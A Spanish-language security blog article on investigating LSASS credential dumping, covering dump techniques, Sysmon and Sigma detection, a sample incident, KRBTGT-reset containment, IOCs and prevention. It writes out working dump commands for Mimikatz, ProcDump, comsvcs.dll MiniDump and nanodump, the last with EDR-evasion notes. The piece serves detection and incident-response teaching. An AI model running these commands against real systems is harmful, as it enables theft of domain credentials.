IntermedioLSASScredential theftMimikatzSysmonSigmaT1003.001MITRE ATT&CKincident response

LSASS Dump: Investigación de Robo de Credenciales

Investigación completa de robo de credenciales vía LSASS dump: técnicas de volcado (Mimikatz, ProcDump, comsvcs.dll, nanodump), detección con Sysmon Event ID 10 y reglas Sigma, investigación forense, contención con reset de KRBTGT, IOCs y mapeo MITRE ATT&CK T1003.001.

MalwareIntel Research··10 min lectura
Serie: Casos de Uso — Parte 16

LSASS como objetivo

LSASS (Local Security Authority Subsystem Service, lsass.exe) es el proceso central de autenticación en Windows. Se ejecuta como SYSTEM y almacena en memoria:

  • Hashes NTLM de usuarios autenticados localmente
  • Tickets Kerberos (TGT y TGS) de sesiones activas
  • Credenciales en texto claro (en configuraciones con WDigest habilitado)
  • Credenciales de cuentas de servicio que se ejecutan en la máquina
  • Tokens de autenticación de sesiones interactivas y de red

Comprometer LSASS en un servidor donde se ha autenticado un Domain Admin es equivalente a obtener las llaves del reino: el atacante puede moverse lateralmente, escalar privilegios y establecer persistencia a nivel de dominio.

Técnicas de volcado de LSASS

Técnica 1: Mimikatz (la más conocida)

Mimikatz accede directamente a la memoria de LSASS para extraer credenciales:

# Ejecución clásica de Mimikatz
mimikatz.exe
  privilege::debug
  sekurlsa::logonpasswords

# Output típico:
Authentication Id : 0 ; 999999 (00000000:000f423f)
Session           : Interactive from 1
User Name         : admin.jones
Domain            : CORP
Logon Server      : DC-01
SID               : S-1-5-21-...

  msv :
   [00000003] Primary
   * Username : admin.jones
   * Domain   : CORP
   * NTLM     : aad3b435...5404ee
   * SHA1     : 2a3b4c5d...6e7f8a9b
  
  kerberos :
   * Username : admin.jones
   * Domain   : CORP.LOCAL
   * Password : [REDACTED]    ← texto claro si WDigest habilitado
   
  tspkg :
   * Username : admin.jones
   * Domain   : CORP
   * Password : [REDACTED]

Perfil de detección: alto. Mimikatz es ampliamente detectado por firmas AV, reglas YARA, y EDR. Los atacantes frecuentemente lo ofuscan, lo inyectan en memoria o usan variantes como Pypykatz.

Técnica 2: ProcDump (Sysinternals)

ProcDump es una herramienta legítima de Sysinternals que puede volcar la memoria de cualquier proceso:

# Volcado de LSASS con ProcDump
procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp

# Variante para evadir detección por nombre
procdump.exe -accepteula -ma -r lsass.exe dump.dmp

# El atacante luego transfiere el .dmp a su máquina
# y lo analiza offline con Mimikatz:
mimikatz.exe
  sekurlsa::minidump lsass_dump.dmp
  sekurlsa::logonpasswords

Perfil de detección: medio. ProcDump es legítimo pero el acceso a LSASS genera Event ID 10 en Sysmon.

Técnica 3: comsvcs.dll (Living off the Land)

comsvcs.dll es una DLL legítima del sistema que incluye una función MiniDump:

# Obtener PID de LSASS
$lsassPID = (Get-Process lsass).Id

# Volcado usando rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\temp\dump.bin full

# Variante con PowerShell
rundll32.exe comsvcs.dll, "#24" $lsassPID C:\temp\out.bin full

Perfil de detección: medio-bajo. Usa binarios legítimos del sistema (LOLBAS), lo que dificulta la detección basada en firmas. Requiere detección por comportamiento.

Técnica 4: nanodump

nanodump utiliza syscalls directas para evadir los hooks que los EDR colocan en las funciones de la API de Windows:

# nanodump evita hooks de EDR usando:
# - Syscalls directas (no pasa por ntdll.dll hookeada)
# - Volcado parcial de LSASS (solo las páginas necesarias)
# - Cifrado del dump en memoria antes de escribir a disco
# - Nombre de archivo aleatorio

nanodump.exe --write C:\temp\[random].log --valid

Perfil de detección: bajo. Diseñado específicamente para evadir EDR. La detección requiere monitorización a nivel de kernel o análisis de comportamiento avanzado.

Técnica 5: Task Manager (la más simple)

En sistemas sin restricciones, un usuario con privilegios de administrador puede volcar LSASS directamente desde el Task Manager:

1. Abrir Task Manager como administrador
2. Pestaña "Detalles"
3. Click derecho en lsass.exe
4. "Create dump file"
5. El volcado se guarda en %TEMP%\lsass.DMP

Perfil de detección: bajo. Es una funcionalidad legítima del sistema.

Detección con Sysmon Event ID 10

Sysmon Event ID 10 (Process Access) es el evento más relevante para detectar acceso a LSASS:

Configuración de Sysmon

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessAccess onmatch="include">
      <!-- Monitorizar accesos a LSASS -->
      <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    </ProcessAccess>
    
    <ProcessAccess onmatch="exclude">
      <!-- Excluir accesos legítimos conocidos -->
      <SourceImage condition="is">C:\Windows\System32\svchost.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\csrss.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\wininit.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\lsm.exe</SourceImage>
      <SourceImage condition="is">C:\Program Files\Windows Defender\MsMpEng.exe</SourceImage>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>

Evento típico de volcado de LSASS

<Event>
  <EventID>10</EventID>
  <EventData>
    <SourceProcessId>7824</SourceProcessId>
    <SourceImage>C:\Users\Public\procdump.exe</SourceImage>
    <TargetProcessId>672</TargetProcessId>
    <TargetImage>C:\Windows\System32\lsass.exe</TargetImage>
    <GrantedAccess>0x1FFFFF</GrantedAccess>
    <CallTrace>
      C:\Windows\SYSTEM32\ntdll.dll+9c4e4|
      C:\Windows\System32\KERNELBASE.dll+2c13e|
      C:\Users\Public\procdump.exe+1234
    </CallTrace>
  </EventData>
</Event>

Valores de GrantedAccess sospechosos

0x1FFFFF  = PROCESS_ALL_ACCESS (más sospechoso)
0x1010    = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ
0x1410    = 0x1010 + PROCESS_QUERY_INFORMATION
0x1438    = Patrón típico de Mimikatz
0x1F1FFF  = Variante de acceso completo

Accesos legítimos típicos:
0x1000    = PROCESS_QUERY_LIMITED_INFORMATION (normal para taskmgr)
0x0400    = PROCESS_QUERY_INFORMATION (normal para svchost)

Reglas Sigma para detección

Regla 1: Acceso sospechoso a LSASS

title: Suspicious LSASS Process Access
id: lsass-access-001
status: stable
description: >
  Detecta acceso a la memoria de LSASS desde procesos
  que no deberían necesitar ese nivel de acceso
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1FFFFF'
      - '0x1F1FFF'
      - '0x1010'
      - '0x1438'
  filter_legitimate:
    SourceImage|endswith:
      - '\csrss.exe'
      - '\wininit.exe'
      - '\wmiprvse.exe'
      - '\svchost.exe'
      - '\MsMpEng.exe'
      - '\MRT.exe'
    SourceImage|startswith:
      - 'C:\Program Files\CrowdStrike\'
      - 'C:\Program Files\SentinelOne\'
      - 'C:\Program Files (x86)\Trend Micro\'
  condition: selection and not filter_legitimate
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001

Regla 2: comsvcs.dll MiniDump

title: LSASS Dump via comsvcs.dll MiniDump
id: lsass-comsvcs-001
status: stable
description: >
  Detecta el uso de comsvcs.dll para volcar la memoria
  de LSASS (técnica Living off the Land)
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains|all:
      - 'comsvcs'
      - 'MiniDump'
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: selection
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001
  - attack.t1218.011

Regla 3: ProcDump apuntando a LSASS

title: ProcDump Targeting LSASS
id: lsass-procdump-001
status: stable
description: Detecta ProcDump volcando la memoria de LSASS
logsource:
  category: process_creation
  product: windows
detection:
  selection_tool:
    Image|endswith:
      - '\procdump.exe'
      - '\procdump64.exe'
    CommandLine|contains:
      - 'lsass'
  selection_renamed:
    OriginalFileName:
      - 'procdump'
    CommandLine|contains:
      - 'lsass'
  condition: selection_tool or selection_renamed
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001

Regla 4: Creación de archivo de volcado LSASS

title: LSASS Memory Dump File Created
id: lsass-file-create-001
status: stable
description: Detecta la creación de archivos de volcado de LSASS
logsource:
  category: file_creation
  product: windows
detection:
  selection:
    TargetFilename|contains:
      - 'lsass'
    TargetFilename|endswith:
      - '.dmp'
      - '.dump'
      - '.bin'
      - '.log'
      - '.tmp'
  filter_wer:
    TargetFilename|contains: '\Windows\WER\'
  condition: selection and not filter_wer
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

Escenario de investigación

Alerta inicial

El SIEM genera una alerta basada en la regla Sigma lsass-access-001:

ALERTA CRÍTICA: Acceso sospechoso a LSASS
Timestamp: 2026-05-20 03:42:17 UTC
Host: SRV-APP-03
Source Process: C:\Users\Public\svc_update.exe (PID 8412)
Target Process: C:\Windows\System32\lsass.exe (PID 672)
GrantedAccess: 0x1FFFFF (PROCESS_ALL_ACCESS)
User: CORP\svc-monitoring

Triage

# 1. Verificar el proceso sospechoso
Get-Process -Id 8412 | Format-List *
# Resultado: svc_update.exe, sin firma digital, 2.1 MB

# 2. Verificar hash del archivo
Get-FileHash C:\Users\Public\svc_update.exe -Algorithm SHA256
# SHA256: a7b8c9d0...e1f2a3b4 (desconocido en VirusTotal)

# 3. Verificar conexiones de red del proceso
Get-NetTCPConnection -OwningProcess 8412
# Conexión establecida hacia 194.147.142[.]x:443

# 4. Verificar archivos creados recientemente en el directorio
Get-ChildItem C:\Users\Public\ -Recurse |
  Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
# svc_update.exe     (2.1 MB, creado hace 3 horas)
# output.bin          (48 MB, creado hace 2 minutos) ← volcado LSASS

Análisis forense

# 5. Verificar cómo llegó svc_update.exe al sistema
# Revisar Sysmon Event ID 11 (File Create)
Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-Sysmon/Operational'
  ID=11
} | Where-Object {
  $_.Properties[5].Value -match 'svc_update'
} | Format-List TimeCreated, Message

# Resultado: archivo creado por powershell.exe
# ejecutado por CORP\svc-monitoring vía WinRM

Reconstrucción del ataque

Timeline reconstruido:
03:30 UTC - Atacante se autentica con credenciales de svc-monitoring vía WinRM
03:35 UTC - PowerShell descarga svc_update.exe desde C2
03:40 UTC - svc_update.exe se ejecuta (Mimikatz ofuscado)
03:42 UTC - Acceso a LSASS (Sysmon EID 10)
03:42 UTC - output.bin creado (volcado de LSASS)
03:44 UTC - output.bin exfiltrado al C2 (194.147.142[.]x)
03:45 UTC - output.bin eliminado del disco

Análisis de impacto

Verificar qué cuentas estaban autenticadas en SRV-APP-03 en el momento del volcado:

# Sesiones activas en el momento del incidente
Get-WinEvent -FilterHashtable @{
  LogName='Security'
  ID=4624
  StartTime=(Get-Date '2026-05-20 02:00:00')
  EndTime=(Get-Date '2026-05-20 04:00:00')
} | Where-Object {
  $_.Properties[8].Value -in @(2, 10, 11)  # Interactive, RemoteInteractive, CachedInteractive
} | Select-Object TimeCreated,
  @{N='User';E={$_.Properties[5].Value + '\' + $_.Properties[6].Value}}

Cuentas comprometidas:

admin.jones        Domain Admin        ← CRÍTICO
svc-sql            Service Account     ← Acceso a bases de datos
svc-monitoring     Service Account     ← Usada para el acceso inicial
user.garcia        Standard User       ← Bajo riesgo

Contención: el proceso KRBTGT reset

Dado que una cuenta de Domain Admin fue comprometida, existe el riesgo de Golden Ticket. El procedimiento de contención incluye:

Paso 1: Aislamiento inmediato

1. Aislar SRV-APP-03 de la red
2. Revocar la sesión de svc-monitoring (forzar logoff)
3. Deshabilitar la cuenta svc-monitoring
4. Reset de contraseña de admin.jones
5. Reset de contraseña de svc-sql

Paso 2: Primer reset de KRBTGT

# En el Domain Controller, como Domain Admin
# PRECAUCIÓN: esto invalida TODOS los tickets Kerberos activos

# Paso 2a: Verificar la fecha del último cambio de KRBTGT
Get-ADUser krbtgt -Properties PasswordLastSet |
  Select-Object PasswordLastSet
# Si nunca fue cambiado, el riesgo es máximo

# Paso 2b: Primer reset
Set-ADAccountPassword -Identity krbtgt -Reset `
  -NewPassword (ConvertTo-SecureString -AsPlainText "[NUEVA_PASSWORD]" -Force)

# Paso 2c: Documentar timestamp del reset
Get-Date -Format "yyyy-MM-dd HH:mm:ss UTC"

Paso 3: Esperar y segundo reset

# Esperar MÍNIMO 12 horas (idealmente 24 horas)
# Esto permite que los tickets Kerberos legítimos caduquen y se renueven

# Tras la espera, ejecutar el segundo reset:
Set-ADAccountPassword -Identity krbtgt -Reset `
  -NewPassword (ConvertTo-SecureString -AsPlainText "[OTRA_PASSWORD]" -Force)

Paso 4: Verificación post-reset

# Verificar que los dos últimos cambios de password son recientes
Get-ADUser krbtgt -Properties PasswordLastSet, Modified |
  Select-Object PasswordLastSet, Modified

# Monitorizar Event ID 4769 (Kerberos Service Ticket) 
# para detectar tickets con encryption type RC4 (posible Golden Ticket)
Get-WinEvent -FilterHashtable @{
  LogName='Security'
  ID=4769
} | Where-Object {
  $_.Properties[5].Value -eq '0x17'  # RC4 encryption
} | Select-Object TimeCreated, Message

IOCs del escenario

Hashes

svc_update.exe (Mimikatz ofuscado)   a7b8c9d0...e1f2a3b4
output.bin (volcado LSASS)           [efímero, eliminado]

Red

194.147.142[.]x:443    C2 y destino de exfiltración

Artefactos

C:\Users\Public\svc_update.exe     Mimikatz renombrado
C:\Users\Public\output.bin         Volcado LSASS (eliminado)
Sesión WinRM desde IP externa

Cuentas comprometidas

CORP\admin.jones       Domain Admin (hash NTLM expuesto)
CORP\svc-sql           Service Account (hash NTLM expuesto)
CORP\svc-monitoring    Cuenta usada para acceso inicial

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Credential AccessOS Credential Dumping: LSASS MemoryT1003.001Volcado de LSASS con Mimikatz ofuscado
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001Descarga del payload vía PowerShell
Lateral MovementRemote Services: Windows Remote ManagementT1021.006Acceso inicial vía WinRM
Defense EvasionMasquerading: Rename System UtilitiesT1036.003Mimikatz renombrado como svc_update.exe
ExfiltrationExfiltration Over C2 ChannelT1041Volcado LSASS enviado al C2
CollectionData from Local SystemT1005Recolección de credenciales

Medidas preventivas

Protecciones contra volcado de LSASS

  1. Credential Guard: habilitar en Windows 10/11 Enterprise y Server 2016+, aísla LSASS en un entorno virtualizado (VBS)
  2. RunAsPPL: configurar LSASS como Protected Process Light (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1)
  3. Deshabilitar WDigest: prevenir credenciales en texto claro (HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0)
  4. Windows Defender Attack Surface Reduction: regla "Block credential stealing from LSASS"

Detección y monitorización

  1. Sysmon Event ID 10: configurar con exclusiones precisas para reducir ruido
  2. Windows Event ID 4656: auditar accesos a objetos del sistema
  3. EDR: habilitar protección de LSASS en la solución EDR
  4. Reglas Sigma: desplegar las 4 reglas documentadas en este artículo

Reducción de exposición

  1. Evitar autenticaciones interactivas de Domain Admin en servidores
  2. Tiered Admin Model: separar cuentas de administración por nivel
  3. Cuentas de servicio gestionadas (gMSA): rotación automática de credenciales
  4. PAM (Privileged Access Management): acceso just-in-time con expiración

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.